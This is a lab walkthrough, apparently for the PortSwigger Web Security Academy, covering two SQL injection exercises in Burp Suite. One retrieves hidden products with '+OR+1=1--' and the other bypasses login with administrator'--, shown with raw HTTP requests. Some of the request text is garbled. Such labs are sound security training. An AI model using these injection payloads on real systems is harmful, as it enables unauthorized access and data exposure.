

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Open the burpsuite and turn on the intercept in the proxy. Forward the product request to the repeater. In the repeater append the value '+OR+1=1--' in the category parameter value field. Now send the modified request all the products will be displayed.

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. A list of intercepted requests is displayed. The request at index 70 is highlighted, showing a GET request to `/filter?category=Accessories` with a SQL injection payload in the category parameter: `filter?category=Accessories'+OR+1=1-- HTTP/2`. The request details are visible in the 'Request' pane, showing the full HTTP request including headers and body.

The screenshot shows the Burp Suite interface with the 'Response' tab selected. The response of the intercepted request is displayed. The response is a 200 OK status with a 200 OK status code. The response body contains HTML content, including a search bar and a list of products. The search bar is labeled 'Accessories' and the list of products includes 'Cheshire Cat Grin', 'Fur Rabbits', 'Vintage Neck Defender', and 'There's No Place Like Gnome'.

Lab: SQL injection vulnerability allowing login bypass

Open the burpsuite and turn on the intercept in the proxy. Login with some random credentials and forward this request from the proxy to the repeater. Now change the username parameter as administrator'-- and send this modified request. You will be logged in as the administrator.

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. A list of intercepted requests is displayed. The selected request is a POST to /login with the following details:

- Host: 0ab6001f048248e3800ce98c007c0033.web-security-academy.net
- Method: POST
- URL: /login
- Params: csrf=3jcd0h0EXMLQm0uGP19PznF1MHGKf88ausezname=wiener&password=peter
- Status: 200
- Length: 3335
- MIME type: HTML
- Extension: SQL injection vulnerability
- Comment: SQL injection vulnerability allowing login bypass
- TLS: 79.125.84.16
- IP: 79.125.84.16
- Cookies: session=s2380jQ...
- Time: 14:28:14.6 Ma... 8080

The 'Request' tab shows the raw HTTP request:

```
1 POST /login HTTP/2
2 Host: 0ab6001f048248e3800ce98c007c0033.web-security-academy.net
3 Cookie: session=s2380jQxQm0uGP19PznF1MHGKf88ausezname=wiener&password=peter
4 Content-Length: 68
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not-A-Brand";v="99", "Chromium";v="112"
7 Sec-Ch-Ua-Mobile: 0
8 Sec-Ch-Ua-Platform: "Linux"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0ab6001f048248e3800ce98c007c0033.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.58 Safari/537.36
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: 1
17 Sec-Fetch-Dest: document
18 Referer: https://0ab6001f048248e3800ce98c007c0033.web-security-academy.net/login
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
21 csrf=3jcd0h0EXMLQm0uGP19PznF1MHGKf88ausezname=wiener&password=peter
22
```

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. A modified request is shown with the following details:

- Host: 0ab6001f048248e3800ce98c007c0033.web-security-academy.net
- Method: POST
- URL: /login
- Params: csrf=3jcd0h0EXMLQm0uGP19PznF1MHGKf88ausezname=administrator'--&password=peter
- Status: 200
- Length: 3335
- MIME type: HTML
- Extension: SQL injection vulnerability
- Comment: SQL injection vulnerability allowing login bypass
- TLS: 79.125.84.16
- IP: 79.125.84.16
- Cookies: session=s2380jQ...
- Time: 14:28:14.6 Ma... 8080

The 'Request' tab shows the raw HTTP request:

```
1 POST /login HTTP/2
2 Host: 0ab6001f048248e3800ce98c007c0033.web-security-academy.net
3 Cookie: session=s2380jQxQm0uGP19PznF1MHGKf88ausezname=administrator'--&password=peter
4 Content-Length: 68
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not-A-Brand";v="99", "Chromium";v="112"
7 Sec-Ch-Ua-Mobile: 0
8 Sec-Ch-Ua-Platform: "Linux"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0ab6001f048248e3800ce98c007c0033.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.58 Safari/537.36
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: 1
17 Sec-Fetch-Dest: document
18 Referer: https://0ab6001f048248e3800ce98c007c0033.web-security-academy.net/login
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
21 csrf=3jcd0h0EXMLQm0uGP19PznF1MHGKf88ausezname=administrator'--&password=peter
22
```